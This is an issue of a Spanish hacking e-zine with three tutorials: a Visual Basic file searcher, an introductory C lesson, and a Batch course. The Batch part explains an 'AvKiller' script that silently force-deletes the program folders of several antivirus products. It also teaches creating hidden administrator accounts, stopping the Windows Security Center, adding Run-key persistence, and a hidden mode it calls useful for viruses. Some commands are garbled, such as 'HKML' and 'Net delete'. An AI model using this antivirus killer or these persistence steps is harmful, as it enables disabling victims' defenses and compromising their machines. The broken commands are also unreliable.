La primer API devolver un identificador que corresponder al directorio que eligi el usuario, debido a que con el identificador no podramos hacer nada, utilizamos la segunda API para obtener el directorio. Para poder hacer uso de estas APIs vamos a tener que crear una funcin, lo que har esta funcin ser devolver la ruta completa del directorio que eligi el usuario. A esta habr que pasarle como parmetro el formulario (su nombre) para luego obtener su handle, tambin le debemos pasar el titulo de la ventana:
Function ElegirDirectorio(FrmActivo As Form, TituloDeVentana As String) As String Dim BroInf As BrowseInfo Dim IDCarp As Long Dim Directorio As String
If IDCarp Then Directorio = Space(300) If SHGetPathFromIDList(IDCarp, Directorio) Then Directorio = Left(Directorio, InStr(Directorio, Chr(0)) - 1) Else Crear un buscador de archivos en VB CUH e-zine 4 edicion
Directorio = "" End If End If ElegirDirectorio = Directorio End Function
Ahora lo que haremos ser almacenar el directorio en una variable global. As que hacemos la declaracin de dicha variable. Nos situamos debajo de la declaracin de las APIs y escribimos esto:
Dim RutaParaComenzar As String
Ahora nos vamos al evento clic del botn 2, en mi caso es el de elegir directorio para comenzar a buscar:
Private Sub Command2_Click() RutaParaComenzar = ElegirDirectorio(Form1, "Buscar Carpeta") Text2.Text = RutaParaComenzar End Sub
Y ah esta. Ahora podemos pasar a lo que importa, buscar el archivo. Vamos a necesitar usar el objeto FileSystemObject, para ello vamos a agregarlo en la referencia: ProyectoReferenciasMicrosoft Scripting Runtime Para poder recorrer los directorios debemos usar una funcin que se llame a si misma, a esta funcin se le pasa como parmetro el directorio donde empezar a recorrer los subdirectorios de l mismo. Dentro de cada bucle para recorrer los subdirectorios se vuelve a llamar a la funcin pasndole como parmetro el subdirectorio. Seria algo as:
Private Funcion Buscar(Carpeta As String) For each SubCarpetas In Carpeta Call Buscar(SubCarpeta) Next End Fucntion
Esto es un ejemplo, pero no sirve, primero debemos declarar bien las variables, con su tipo correspondiente (Folder y File). Despus creamos un bucle que recorra los subdirectorios de un directorio. Dentro de este bucle se utilizara otro bucle para recorrer todos los archivos dentro de este subdirectorio en el cual nos encontramos. Utilizaremos (dentro de este ltimo bucle) una condicin If para saber si el archivo actual corresponde o es similar al que busca el usuario. Pondr la funcin ya terminada, estar comentada cada lnea con su respectiva explicacin:
Private Sub Buscar(ByVal Carpeta As String) Dim DirActual As Folder 'Declaramos como Carpeta Dim SubDir As Folder 'Declaramos como Carpeta Dim Archivo As File 'Delcaramos como Archivo Set Fso = New FileSystemObject 'Activamos el objeto FSO Set DirActual = Fso.GetFolder(Carpeta) 'Le Aplicamos un directorio 'Bucle que recorre los subDirectorios de un directorio For Each SubDir In DirActual.SubFolders 'Bucle que recorre los archivos de un directorio For Each Archivo In SubDir.Files 'Un descanso para el sistema DoEvents 'Obtenemos el nombre del archivo NombreDelArchivo = Fso.GetFileName(Archivo) 'Si coincide con la busqueda If InStr(NombreDelArchivo, Text1.Text) <> 0 Then 'Lo agregamos a la lista List1.AddItem NombreDelArchivo Habilitamos boton Abrir Command3.Enabled = True End If 'Seguimos recorriendo archivos Next 'Nos volvemos a llamar para seguir listando 'los subdirectorios Call Buscar(SubDir) Next End Sub
NOTA: Es importante que pongan el DoEvents, sino tildaran la aplicacin, deben darle un descanso y pasarle el trabajo a Windows por cada subdirectorio que se recorra, as funcionara perfecto. Ahora vamos a programar el botn Buscar, en mi caso es el Commnad1 Lo nico que haremos aqu ser verificar que halla algo que buscar (que el Text1 no este vaco). Luego limpiamos la Lista, y por ultimo llamamos a la funcin Buscar pasndole como parmetro la variable RutaParaComenzar:
Private Sub Command1_Click() si el text1 esta vacio If Text1.Text = "" Then Mostramos un mensaje MsgBox "Indique algo que buscar" Exit Sub End If Limpiamos la lista List1.Clear Llamamos a funcion que busca Call Buscar(RutaParaComenzar) End Sub
Con esto ya habremos terminado, les recomiendo que no se queden con esta interface, utilicen un ListVew en vez de un ListBox, es mas lindo de usar, y podemos ordenar mejor los archivos encontrados, mostrando tanto el nombre del fichero como su directorio. Inclusive le podemos aplicar un icono ;-) Les dejo un cordial saludo a todos los lectores de la CUH E-Zine y espero hayan disfrutado de este articulo.
Introduccion a C 3Parte CUH e-zine 4 edicin
Hola de nuevo, esta es la tercera parte del tutorial de C de Ni0, como pueden ver con lo que sabemos hasta ahora mucho no podemos hacer, simplemente cuentas matemticas y mostrarlas en pantalla, as que ahora vamos a aprender como obtener un valor del teclado y como funcionan los controladores de flujo. Antes que nada quera aclarar algo con respecto a las variables..., cual es la diferencia entre el tipo char y el tipo long? o cual es la diferencia entre el tipo short y el char? o el long y el int?? la nica diferencia es el espacio reservado a dicha variable. En el articulo anterior escrib una tabla con los tipo de variables y cuantos bytes son reservados para esa variable, esa cantidad le da un rango posible, por ejemplo dentro de un byte solo pueden entrar desde el numero 0 hasta el 255 (o bien de -128 a 127), esa es la nica diferencia. Entonces, dentro de char puedo poner un numero en vez de un carcter?? y en un long puedo poner un carcter en vez de un numero?? SI y lo repito, SI Esto segn he visto, en lenguajes mas altos que el C (Visual Basic, pascal, etc..) no es posible de manera directa, pero es posible en el lenguaje maquina, en C, y supongo que en otros lenguajes. como es posible que en una variable char (abreviatura de carcter en ingles) se pueda poner un numero?? porque a cada carcter se le asign un numero (recuerden, la pc solo interpreta 0 y 1), y estos nmeros van del 0 al 255 (antiguamente hasta el 127), esto esta definido en el estndar ascii. Al poner un carcter haciendo 'x', el compilador cambia ese carcter por el valor correspondiente, por lo que hacer algo como c = 'N'; es lo mismo que c = 78; . No piensen de que como es un CHAR solamente pueden ir caracteres, bah, en realidad es correcto, porque cualquier numero que pongamos entre 0 y 255 va a tener su representacin como carcter, pero uno puede tranquilamente usar una variable char para trabajar nmeros, si por ejemplo queremos almacenar la edad de una persona, con declarar un char alcanza y sobra, nadie tubo mas de 255 aos xD . Y obviamente dentro de un long o un short o un int puede ir un carcter, hacen short s = 'N'; y esta permitido, pero con esto hay que tener cuidado, porque en realidad las funciones estan preparadas para leer un carcter dentro de un byte, en un short hay 2 bytes, y en uno de esos 2 bytes esta el 'N'... y obviamente se pueden sumar caracteres, char a = 'n'; char b = 'a'; a = a + b; ahora a tiene el valor 207, pero con esto cuidado, no podemos pasarnos del 255, pero bueh, con eso queda demostrado que tambin se puede operar con tipos char, solo que tenemos que asegurarnos de que la operacin no va a dar mas de
255, porque se estara sobre escribiendo bits de otro lugar que no le corresponde a la variable char, por ejemplo si quisiramos poner el valor 256 dentro de un byte no podramos, porque queda un 1 fuera de lugar (11111111 = 255, 100000000 = 256, fjense que en el 256 estamos usando 9 bits, y no un byte, donde se pondr ese 1?).Pero OJO, si hacen '1' + '2' no les va a dar '3'... 1 + 2 = 3 pero '1' + '2' NO es 3, porque estamos sumando el valor segn el estndar ascii, si '1' es 50 (ni idea si es 50, invento, es solo un ejemplo) y '2' es 51, entonces '1' + '2' da 101, que puede ser 'f' como 'a' o 'Z' o cualquier carcter.... Todo eso se puede comprobar tranquilamente si crean un programa que trabaje con caracteres y nmeros y variables de todo tipo y lo compilan, luego lo descompilan y ven el cdigo en assembler, o bien usan un debugger para que sea mas facil de leer, de todas maneras va a estar en assembler. No habl sobre los tipos float y double, no estoy seguro de su forma de trabajar, asique no los voy a meter en la explicacin anterior.
bueh, espero que eso haya sido claro.
Avancemos un poco con el lenguaje C; para obtener un dato del teclado (por ahora del teclado, mas adelante vamos a ver archivos) existen varias funciones declaradas en stdio.h: getchar (que ya la usamos para que espere que se pulse una tecla) scanf gets (que no la vamos a ver ahora porque antes tengo que explicar otras cosas xD) explicamos cada una: int getchar(void); eso significa que no recibe ningn argumento y que retorna un int (tambin pueden usar char), esta funcin espera a que se pulse enter para retornar, o sea, cuando es llamada uno puede teclear cualquier cosa y solo va a terminar la funcin cuando se pulse enter ('\r', ese es el carcter correspondiente a ENTER), si se pulsaron las teclas abcd\r, va a devolver a, pero cuidado, porque las teclas siguen almacenadas, la funcin obtiene a, la saca de la memoria y devuelve a, la prxima ves que se llame, van a estar las teclas bcd\r, por lo que no va a esperar a que el usuario ingrese algo porque hay teclas en la memoria, no se si se entiende bien... cuando uno pulsa teclas se almacenan en un buffer, getchar va obteniendo hasta que se acabe, si simplemente ingresamos a\r obtiene a y como esta el enter vaca el buffer, pero si ponemos abc\r obtiene a, saca a del buffer pero sigue quedando bc\r, como ya esta \r en el buffer, no le pide nada al usuario, porque piensa que ya se presiono entrer, obtiene b y saca a b del buffer. Para solucionar esto, esta la funcin fflush que vacia el buffer, solo hay que indicarle que buffer vaciar, stdin (entrada) o stdout (salida), quedando asi: fflush(stdin); (vaca la entrada)
Introduccion a C 3Parte CUH e-zine 4 edicin
int scanf (const char*, ...); esta funcin es especial, es como printf, puede obtener muuuuchos argumentos, y devuelve un int, que creo recordar que era la cantidad de caracteres ledos, y los argumentos son una cadena y luego argumentos infinitos (digo entre comillas porque la ram no se regala, igual que los permisos de escritura del s.o. xD), para usarla es fcil, usa las mimas caractersticas de printf, solo que invertido, miren:
printf(%d %f, 39, 3.141596);
obtiene una cadena (%d %f) y los argumentos, que luego sern impresos segn los comodines (%d, %f, %s, %c, etc..), ahora con scanf:
scanf(%d %f, &i, &f);
lo que va a hacer es esperar a que ingresemos caracteres hasta que se pulse enter, cuando se pulsa enter va a seguir las indicaciones de la cadena %d %f, lo que significa que hasta el primer espacio va a obtener un numero entero, luego un flotante (o sea, un numero real) y luego nada mas, y va a poner esos valores en las variables i y en la variable f, que deben de haber sido declaradas previamente como int y como float (o double) ejemplo
main(){ int i; float f; scanf(%d %f, &i, &f); }
Los & no se como llamarlos, pero significan la posicin de memoria de..., o sea, si nosotros hicisemos: scanf(%d %f, i, f); al segundo y tercer argumento le estara llegando el valor que contiene i y el valor que contiene f, pero no cual es la posicin de memoria de i y de f, para que usa la posicin de memoria?? para saber donde guardar lo que obtenga el teclado. cuando hacemos algo como c = getchar(); no usamos el & porque el compilador ya sabe que lo que devuelve getchar tiene que ir a parar a c, dado que antes del = tiene que ir una variable donde va a poner el valor, pero en el caso de un argumento puede o no ser el valor que contenga la variable, o bien, una posicin de memoria. En lenguajes mas altos esto no se hace, se hacen cosas como scanf(%d, i); pero en el c hay que aclarar que lo que vamos a darle de argumento es el valor que contiene la variable o bien la posicin de memoria asignada a la variable En el caso de %s tenemos que estudiar un poco mas, asique no lo vamos a usar por ahora... en este caso tambin hay que tener cuidado y usar a veces el fflush, porque cosas como:
scanf(%c, &c); scanf(%c, &c);
obtienen un carcter pero ustedes con el teclado ingresaron por ejemplo a\r (osea a y enter), pero como solo pedimos un carcter, el \r queda colgado, queda en el buffer, asique con fflush(stdin); vaciamos el buffer.
El gets obtiene una cadena (seria CASI igual a scanf(%s)), pero todava no hable sobre las cadenas, los vectores, los arrays (como usarlos en una variable) asique no lo quiero explicar para que no haya dudas...
Las cosas como int getchar(void) es la forma que se declaran las variables (mas adelante vamos a ver cono crear nuestras funciones), el primero (o sea en este caso el int) indica que tipo de dato va a retornar, lo que va entre parntesis indica que tipo de argumentos espera, en caso de que sea void significa que no espera nada, y se separan los argumentos con comas, que seria el ejemplo de int scanf(const char*, ...), el primer argumento es un const char* (es una cadena que va a ser tomada como constante, mas adelante vemos que son las cadenas y como usarlas etc.) una coma para indicar que viene otro argumento y tres puntos, esos ... significa que pueden ir muuuchos argumentos, hasta que la memoria se acabe o bien que se intente usar una posicin de la memoria que el s.o no nos deja, porque ocurre esto?? Porque los argumentos son puestos en la memoria uno al lado del otro (esto se tendra que ver mas que nada en assembler...) si hay muuuchos argumentos se va a gastar mucha memoria... pero para eso se necesita MUUUUUUCHOS argumentos Muy bien, vamos a hacer algn programita, podemos hacer uno que se ingrese un valor de temperatura en Celsius o Fahrenheit y se pase a la otra medida, por ejemplo yo voy a hacer de Celsius a Fahrenheit la formula de Celsius a Fahrenheit es: F = C*(9/5)+32
Asi que vamos a programar:
#include <stdio.h>
main()
{
float c, f;
printf("\tConversin Celsius a Fahrenheit\n");
printf("ingrese la temperatura en celsius: ");
scanf("%f", &c);/*pone el valor que se ingreso por el teclado en c*/
f = c * (9.0 / 5.0) + 32;
printf("\n%.3fC = %.3fF\n", c, f);/*imprime el resultado, el .3 indica que solo imprima 3 decimales*/
getchar();/*espera que se pulse enter*/
}
Introduccion a C 3Parte CUH e-zine 4 edicin
Creo que esta sencillo el programa, aclaro algo, tengo que hacer 9.0/5.0 y NO 9/5 porque 9/5 dara 1, porque hace una divisin entre enteros, al ponerle .0 le indico que son nmeros reales y quiero el resultado en real (cosas de los registros internos del cpu).
As como tenemos getchar y gets, tambin estn las funciones putchar y puts, es lo mismo pero inverso, en puts ponemos una cadena (por ahora solo van a poder poner cadenas de este estilo y no almacenadas en una variable) y putchar que pone un carcter:
Bien, ahora vamos a hacer 2 programas, siguiendo con la conversin celsius- Fahrenheit, el primero va a preguntar si queremos hacer celsius- Fahrenheit o Fahrenheit- celsius, y el segundo nos muestra una tabla de equivalencia. Para esto necesitamos saber sobre estructuras de flujo (creo que se llamaban as, disclpenme que no sepa a veces exactamente el nombre de algo del lenguaje), estas son estructuras que cambian el flujo del programa, las que vamos a ver ahora son if, if-else y while. El if se usa algo as: if(decisin){que hacemos si es verdadero}, dentro de los () podemos poner un valor solo (por ejemplo if(variable) o if(1) o if(0)) si es 1 es tomado como verdadero, y se ejecuta lo que esta entre {}, o sino podemos poner una comparacin (es igual a, mayor que, menor que, etc.), estas son: == igual que (fjense que son 2 iguales) != distinto que < menor que > mayor que <= menor o igual que >= mayor igual que
Por ejemplo:
if(1 != 2){} /*si 1 es distinto que 2, obviamente va a dar verdadero y se ejecuta lo que esta entre {}*/
c = 3; a = 15; if(c > a){} /*si c es mayor que a, en este caso va a dar falso y NO se ejecuta lo que esta entre {}*/
Tambin se pueden hacer cosas como
if(c * 5 < a){}/*en este caso tambien daria falso porque es igual a a*/
Dentro de los {} se escribe un cdigo igual que si estuviese dentro de un main, pero NO se pueden declarar variables, las variables solo se declaran justo despus de main(){ o afuera de todo, esto es as en C, pero en C++ SI es posible, pero ac yo explico C xD
Ejemplo:
main() { int a = 10; int b = 10; if(a == b) printf(es igual); }
cuando solamente se va a poner una instruccin (osea, un ;, ya se auna funcion o una operacin matematica, no hace falta poner {} una forma mejorada: main() { int a = 10; int b = 10; if(a == b){ printf(es igual); return 0; } printf(diferente); }
El return termina una funcin (no me acuerdo si ya lo explique) o sea, cuando llega al return termina la funcin main (o cuando creemos nuestras propias funciones la funcin en la que este el return) siempre main tiene que retornar un valor, por eso el 0, se puede usar return; que no retornara ningun valor, pero main siempre devuelve algo. si no usramos el return, veramos algo como es igual diferente los if son de un solo ciclo, o sea, comprueba si es verdadero o falso, si es verdadero ejecuta los {} y sigue con el programa, si es falso se saltea los {} y sigue con el programa el if-else es igual que el if, se usan asi:
si el if es falso, ejecuta el else y sigue con el programa, con este caso nos ahorramos el return y si solo usamos una instruccin no hace falta los {}:
if(a == b) printf(igual); else printf(diferente); y obiamente se pueden hacer ifs dentro de ifs, o sea: if(a == b){ if(a < 10) printf(igual y menor que diez); } else Introduccion a C 3Parte CUH e-zine 4 edicin
printf(diferente);
pero, en este caso se pueden usar && o ||, estas cosas son traducibles a y o o, por ejemplo:
if(a == b && a < 10) printf(igual y menor que diez);
o sea, tiene que ser las 2 expresiones verdaderas, si usramos los || (es el carcter tubera dos veces) con que solo una expresin sea verdadera se ejecuta los {}
Y en el caso de que sean mas de una instruccin ponemos {} y listo
El while es igual que el if, solo que no existen los else ni los else while, y que si es verdadero, ejecuta lo de los corchetes y vuelve a hacer la comprobacin, asi hasta que la comprobacin sea falsa
int c = 10; while(c > 0){ printf(%d\n, c); c -= 5;; }
Imprime: 10 5
As que vamos con los programas que dije que bamos a hacer:
#include <stdio.h>
main()
{
char opcion;
float f, c;
printf("\tConversion Celsius a Fahrenheit - Fahrenheit a Celsius\n");
printf("Ingrese el valor a convertir: ");
scanf("%f", &c);/*para no usar 2 veces el scanf, si lo pongo dentro del if y del else if gastara mas lineas y mas cdigo binario que si lo uso solo una vez :P*/
printf("ingrese c para Celsius a Fahrenheit o f para Fahrenheit a Celsius (c/f):");
fflush(stdin);/*vaciamos el buffer*/
opcion = getchar();
if(opcion == 'c'){
f = c * (9.0 / 5.0) + 32;
printf("\n%.3fC = %.3fF\n", c, f);
}
else if(opcion == 'f'){
f = (c - 32) / (9.0 / 5.0);
printf("\n%.3fF = %.3fC\n", c, f);
}
else
printf("ERROR");
fflush(stdin);/*vaciamos el buffer, porque nosotros ingresamos c\r o f\r por lo que quedara el \r en el buffer*/
getchar();
}
Este cdigo se puede mejorar hacindolo:
#include <stdio.h>
main()
{
char opcion = 0;
float f, c;
printf("\tConversion Celsius a Fahrenheit - Fahrenheit a Celsius\n");
printf("Ingrese el valor a convertir: ");
scanf("%f", &c);/*para no usar 2 veces el scanf, si lo pongo dentro del if y del else if gastara mas Introduccion a C 3Parte CUH e-zine 4 edicin
lineas y mas codigo binario que si lo uso solo una vez :P*/
printf("ingrese c para Celsius a Fahrenheit o f para Fahrenheit a Celsius (c/f):");
fflush(stdin); while(opcion != 'c' && opcion != 'f') {/*mientras que no sea ni 'c' ni 'f' va a pedir una opcin (es sensible a maysculas y minsculas)*/ opcion = getchar();
} if(opcion == 'c'){
f = c * (9.0 / 5.0) + 32;
printf("\n%.3fC = %.3fF\n", c, f);
}
else if(opcion == 'f'){
f = (c - 32) / (9.0 / 5.0);
printf("\n%.3fF = %.3fC\n", c, f);
} /*el else no es necesario, no es obligatorio*/ fflush(stdin);/*vaciamos el buffer, porque nosotros ingresamos c\r o f\r por lo que quedara el \r en el buffer*/
getchar();
} y ahora uno que muestra una tabla de valores en Celsius y otro en farenheit: #include <stdio.h>
main()
{
float f, c = -50;
printf("\tConversion Celsius a Fahrenheit\n");
printf("\nCelsius \tFahrenheit\n");
while(c < 151){
f = c * (9.0/5.0) + 32;
printf("%3.4fC\t%3.4fF\n", c, f);
c += 1;
}
getchar();
}
Intenten hacer este ultimo programa pero que el usuario indique el valor mnimo, el mximo y la escala (en este caso el mnimo es -50, el mximo es 150 y la escala es 1) Simplemente declaran mas variables y con scanf le asignan a las variable los valores, y en vez de usar nmeros en el while, usan las variables...
Y ahora, vean este programa
#include <stdio.h>
main()
{
int c = 0;/*uso int porque si usara char la comparacion c != 256 estaria incorrecta, porque 256 esta fuera del byte*/
while(c != 256){
printf("%c - %d\n", c, c);
c += 1;
}
getchar();
}
Esto es para que vean los valores de cada caracter, porque dentro de un char hay un valor, que representa al caracter... si vieran el cdigo ya compilado quiz se entendera mas
Una aclaracin, eh visto que el fflush(stdin); en la distribucin de linux ubuntu no funciona, o sea, no vaca el buffer, pero en windows si...
bueno, eso es todo por ahora... nos vemos en la prxima edicin xD
Ni0
P.D. usen Linux xD
Introduccin al Batch 3a Parte CUH e-zine 4 edicin
Viene de la 2 Edicion
AvKiller Explicacion.
cd %programfiles% Con la variable %programfiles% vamos a la ruta C:\Archivos de Programa o a la ruta en donde estn lo archivos de programas. cd Grisoft La carpeta en donde esta el AVG Free Antivirus (luego con el comando DEL borramos todo). del /Q /F /S *.*>nul Para borrar todos los archivos sin pedir confirmacin, ni Mostar los archivos que se han borrado. cd .. Para subir de directorio (ir a la carpeta Archivos de Programa). cd Norton Antivirus La carpeta en donde esta el Norton Antivirus (luego con el comando DEL borramos todo). cd Kapersky Lab La carpeta en donde esta el Kapersky Antivirus (luego con el comando DEL borramos todo). cd McAfee.com La carpeta en donde esta el MC Afee System Works (luego con el comando DEL borramos todo). cd Nod32 Antivirus System La carpeta en donde esta el NOD32 Antivirus (luego con el comando DEL borramos todo). Programando utilidades Aqu aprenderemos a crear calculadoras, organizadores y el uso de los comandos. Una Calculadora en Batch Ahora crearemos una calculadora en Batch (con men) bsicamente usando como principal comando
el SET. Solo tendr las opciones de sumar, restar, multiplicar y dividir. Codigo: @echo off title= Calculadora Batch color 0a
:menu cls echo CALCULADORA echo (1) SUMA echo (2) RESTA echo (3) MULTIPLICACION echo (4) DIVISION echo. echo (0) SALIR echo. set/p opc= if %opc%==1 goto suma if %opc%==2 goto resta if %opc%==3 goto multi if %opc%==4 goto divi if %opc%==0 goto exit else (goto menu)
:suma cls echo. echo Ingrese el primer numero. set/p suma1= Numero: cls echo. echo Ingrese el segundo numero. set/p suma2= Numero: cls set/a suma=%suma1%+%suma2% echo. echo. echo %suma1%+%suma2%=%suma% pause>nul goto menu
:resta cls echo. echo Ingrese el primer numero. set/p resta1= Numero: cls echo. echo Ingrese el segundo numero. set/p resta2= Numero: cls set/a resta=%resta1%-%resta2% echo. echo. echo %resta1%-%resta2%=%resta% pause>nul goto menu
:multi cls echo. echo Ingrese el primer numero. set/p multi1= Numero: cls echo. echo Ingrese el segundo numero. set/p multi2= Numero: cls set/a multi=%multi1%*%multi2% echo. echo. echo %multi1%x%multi2%=%multi% pause>nul Introduccin al Batch 3a Parte CUH e-zine 4 edicin
goto menu
:divi cls echo. echo Ingrese el primer numero. set/p divi1= Numero: cls echo. echo Ingrese el segundo numero. set/p divi2= Numero: cls set/a divi=%divi1%/%divi2% echo. echo. echo %divi1%/%divi2%=%divi% pause>nul goto menu
:exit exit
Explicacin:
title= Calculadora Batch * Esto sirve para cambiar el titulo de la ventana, luego del signo = podemos ponerle el nombre que queramos, si no utilizaremos el comando title aparecera como titulo la ruta en la que esta guardada el Batch. *NOTA: El comando Title puede ser usado de las siguientes maneras: Title= Ejemplo Title Ejemplo Title Ejemplo
color 0a Se usa para cambiar los colores del Batch, los predeterminados son letra blanca y fondo negro pero con este lo dejamos en letra verde y fondo negro, para ver ms colores escribir en la consola: Color/? cls Con esto cada vez que vulvalos al men se borrara toda la pantalla y quedara solo el men, si este comando quedaran las operaciones anteriores en pantalla. echo CALCULADORA El comando echo sin parmetros ( y con un texto) sirve para mostrar textos en la pantalla, y con esto aparecera como texto CALCULADORA y luego el resto de las opciones. set/p opc= Con esto creamos una variable de entorno que la utilizaremos para definir la opcin que se a elegido, la variable en este caso se llamara opc pero podemos ponerle el nombre que queramos y cambiar tambin la variable definida en el comando if sino no funcionaria. if %opc%==1 goto suma if %opc%==2 goto resta Estos comandos sirven para darle las opciones al usuario por ejemplo si el usuario pone 1 y presiona enter ir al men de la suma que esta definido con :suma. Y as con los otros tambin, podemos cambiar el nmero 1 por el 7 y as para sumar habra que presionar 7. El opc es nombre de la variable en donde se almaceno el nmero de la opcin. else (goto menu) Con esto le damos la orden al comando IF que si se ingresa una opcin no valida vuelva al men (el comando else tiene que ir siempre despus del if). echo Ingrese el primer numero. set/p resta1= Numero: Con el comando echo aparecer el mensaje pidiendo el numero y com el set/p crearemos la variable llamada resta1 que tendr el numero a restar, y luego la utilizaremos colocando %resta1% para que ponga el numero que estaba en la variable. Lo mismo con la segunda parte que pedir el segundo nmero a restar. cls Para que al aparecer la segunda pantalla no quede la anterior. set/a resta=%resta1%-%resta2% Set/a en este caso lo usaremos para que calcule la operacin y almacene el resultado en la variable resta; %resta1% y %resta2% los pondremos para que aparezca los nmeros que quedaron en las variables Resta1 y Resta1. Y el signo de - (menos) ser para indicar que calcule una resta (se puede sustituir por un + para que sume, un * para que multiplique o un / para que divida). echo. Muestra un espacio entre las lneas. echo %resta1%-%resta2%=%resta% Aqu mostraremos la operacin planteada y usaremos %resta1% para que muestre el primer nmero y %resta2% para que muestre el segundo, y con %resta% aparecer el resultado que fue calculado con el comando set/a y almacenado en la variable resta. pause>nul Paramos la ejecucin de los comandos hasta que se presione una tecla, sino pasara tan rpido que no se vera el resultado. goto menu Luego de que termine el comando pause con esto volvemos al men principal. Lo mismo que esta explicado ac se usa en los casos de suma, multiplicacin y divisin pero siempre respetando los signos (+, -, *, /). Organizando Funciones Vamos a crear un organizador para los accesorios de Windows, si todos no funcionan hay que tener en cuenta que puedes no tener instalados todos.
Cdigo: @echo off Title= Organizador Batch 1.0 Color F3
:menu cls echo ORGANIZADOR echo. Echo 1) Abrir bloc de Notas Echo 2) Abrir Word Pad Echo 3) Abrir Calculadora Echo 4) Abrir Libreta de Direcciones Echo. Echo 0) Salir Set/p resp= If %resp%==1 goto bloc Introduccin al Batch 3a Parte CUH e-zine 4 edicin
If %resp%==2 goto word If %resp%==3 goto calc If %resp%==4 goto dir If %resp%==0 goto exit else goto menu
:bloc cls start notepad goto menu :word cls start wordpad goto menu :calc cls start calc goto menu :dir cls start wab goto menu :exit exit
Explicacin:
Start notepad Para iniciar la aplicacin del bloc de notas. Start wordpad Para iniciar la aplicacin de word pad. Start calc Para iniciar la aplicacin de la Calculadora de Windows. Start wab Para iniciar la aplicacin de la Libreta de Direcciones de Outlook Express.
El Gran y poderoso Batch Batch Avanzado , manipulacin del registro y del sistema. hora aprenderemos todo lo relacionado a aadir claves al registro desde un Batch y a utilizar el comando Net mas profundamente. Comando Net y su uso en Batch En este tema aprenderemos a trabajar con el comando NET que nos permitir manejar usuarios, activar y desactivar opciones de seguridad entre otras muchas cosas. Aadiendo usuarios. Aqu utilizaremos el comando NET USER para aadir usuarios a nuestra PC (no ser posible cambiarle o elegir la imagen). Para darle privilegios de administrador a un usuario creado hay que ver el tema NET GROUP y grupos de usuarios.
Cdigo:
net user Usuario "batch" /add /expires:never
Explicacin:
net user Usuario "Batch" /addEn la parte donde dice Usuario es donde se indica el nombre del usuario que vamos a crear y entre las comillas (la lnea Batch) indica el password del usuario, si se quiere crearlo sin contrasea no se pone nada entre las comillas; y el /add indica que es para crear ese usuario. Borrando Usuarios Aqu utilizaremos el comando NET USER para borrar usuarios que hayamos creado con el comando NET USER o con el menu de usuarios de Windows.
Cdigo: Net User Usuario /delete
Explicacin:
Net User Usuario /delete En donde dice usuario indicamos el usuario que deseamos borrar y el parmetro /delete sirve para que borre el usuario que hemos indicado. NET GROUP y grupos de usuarios Ahora utilizaremos el comando NET GROUP para cambiar el grupo en el que se encuentra el usuario y los privilegios.
Cdigo: net localgroup "Administradores" User /add /expires:never
Explicacin:
net localgroup "Administradores" Con esto indicamos el grupo en el que se aadirn los usuarios, para aadirlo en otro grupo hay que cambiar "Administradores" por el grupo que queramos, para ver mas grupos escribir en la consola: Net localgroup. User /add En lugar de User se pone el usuario al que queremos cambiarle los privilegios. NET STOP para parar la seguridad Con el NET STOP podemos parar el Firewall o el Centro de Seguridad de Windows, entre muchas cosas ms. Pero aqu solo explicare como detener la Central de Seguridad.
Cdigo:
Net Stop Centro de Seguridad
Explicacin:
Net Stop Centro de SeguridadCon esto paramos la Central de Seguridad que es la encargada de administrar la seguridad (Firewall's, Antivirus, AntiSpyware), pero no toda la seguridad porque si el antivirus esta programado para que la Central no lo monitoree seguir funcionando.
Administracin del Registro Aqu aprenderemos a aadir y borrar claves del registro usando el comando REG. El registro es algo delicado as que si se coloca algn cdigo mal podra causar el mal funcionamiento de nuestra PC. Aqu solo se ensean a aadir y borrar claves de la carpeta Run que es la que arranca todo lo que este aadido en ella al iniciarse la PC. Introduccin al Batch 3a Parte CUH e-zine 4 edicin
Archivos al Inicio (Tcnica utilizando el registro) Con esto podremos hacer que nuestros Batch se arranquen al iniciar Windows. Y es ms til que la opcin de la carpeta del Menu Inicio. Las carpetas usadas son carpetas del registro y por lo tanto se pueden administrar y ver solo con el comando REG o con el Administrador de Registro (regedit). Cdigo: Reg Add HKML\Software\Microsoft\Windows\CurrentVersion\Run /v Nombre /t REG_SZ /d C:\RutadelBatch.bat [/f]
Explicacin:
Reg Add HKML\Software\Microsoft\Windows\CurrentVersi on\Run /v Nombre /t REG_SZ /d C:\RutadelBatch.bat /f En donde dice Nombre lo substituimos por el nombre que queramos para que aparezca en el Batch y en C:\RutadelBatch.bat es la ruta y el nombre de el Batch, ej: C:\Documments and Settings\Usuario\Mis Documentos\super batch.bat Borrando las claves Con el comando REG DELETE les enseare a borrar un archivo que hayamos aadido al inicio (carpeta Run). Cdigo: Net delete HKML\Software\Microsoft\Windows\CurrentVersion\Run Nombre /va [/f] Explicacin: Net delete HKML\Software\Microsoft\Windows\CurrentVersi on\Run Nombre /va /f En lugar de nombre se pone el nombre que elegimos para la clave.
Herramientas y Curiosidades
Herramientas para mejorar la calidad de nuestros Batch y otras curiosidades.
De ahora en adelante solo hablaremos de diferentes herramientas para los batchs as como curiosidades sobre Batch.
Compiladores y Lenguajes de Cmputos
Con los compiladores podemos hacer que nuestro Batch (Archivo en lotes MS-Dos) se convierta en un ejecutable, tambin como habrn visto el Batch es de cdigo abierto (pones en lugar de abrir, editar y vez el cdigo) al convertirlo en ejecutable no se podr ver ni editar y as impedimos
que nos copien el cdigo de nuestro Batch. tambin hay compiladores que le cambian el icono. Estas herramientas nos dan una gran ventaja, adems que los ejecutables trabajan con cmputos (su cdigo lleva solo 0 y 1) entonces para hacerlos nos volveramos locos. Fast Exe-Batch Maker (De mi amigo Hendrix) Les voy a recomendar el Fast Exe-Batch Maker de mi colega de programacin Hendrix, esta muy bueno y les dejare la primera versin junto con el paquete para que puedan utilizarla en sus batchs.
Modo GHOST? El modo GHOST es el modo oculto, en los batchs sirve para que no aparezca la ventanita negra (es til para los virus). Los compiladores casi todos tienen modo GHOST y al compilarlos se puede elegir el modo GHOST para nuestros Batch (el Fast Exe-Batch Maker tiene compilacin en modo GHOST).
Otras Herramientas IExpress (Herramienta Windows) El IExpress es una herramienta de Windows que permite crear paquetes Quizs se pregunten -para qu me sirve a mi un paquete?, pues para que luego de desempaquetar el paquete que contenga nuestro Batch, se auto-ejecute, y servir para crear un Batch semi-ejecutable (al desempaquetarlo seguir siendo Batch) y ser de cdigo abierto. A continuacin mostrare los pasos para utilizar nuestro Batch con el IExpress. Pasos: Clic en el menu inicio, se elige la opcin Ejecutar y se escribe IExpress(y obvio, se presiona enter) . Elegir la opcin Create new Self Extraction Directive File, con esto se creara un nuevo paquete.
Luego Extract files only para poder poner el archivo .bat .
Introduccin al Batch 3a Parte CUH e-zine 4 edicin
